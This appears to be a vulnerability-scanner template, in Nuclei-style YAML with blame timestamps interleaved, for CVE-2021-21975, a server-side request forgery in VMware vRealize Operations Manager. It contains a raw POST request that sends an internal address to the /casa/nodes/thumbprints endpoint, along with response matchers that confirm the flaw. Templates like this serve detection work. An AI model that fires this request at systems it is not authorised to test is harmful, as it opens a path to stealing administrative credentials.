2021-03-30 23:43:36 +00:00
id : CVE-2021-21975
info :
2021-03-31 00:57:33 +00:00
name : vRealize Operations Manager API SSRF (VMWare Operations)
2021-03-30 23:43:36 +00:00
author : luci
severity : critical
description : A malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials or trigger Remote Code Execution using CVE-2021-21983.
2021-06-17 17:25:10 +00:00
tags : cve,cve2021,ssrf,vmware,vrealize
2021-03-30 23:43:36 +00:00
reference : https://www.vmware.com/security/advisories/VMSA-2021-0004.html
requests :
- raw :
- |
POST /casa/nodes/thumbprints HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json;charset=UTF-8
2021-03-31 00:52:10 +00:00
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64)
2021-03-30 23:43:36 +00:00
2021-03-31 00:52:10 +00:00
[ "127.0.0.1:443/ui/" ]
2021-03-30 23:43:36 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-03-31 17:15:42 +00:00
- 'vRealize Operations Manager'
- 'thumbprint'
- 'address'
condition : and
2021-03-30 23:43:36 +00:00
part : body
- type : status
status :
- 200
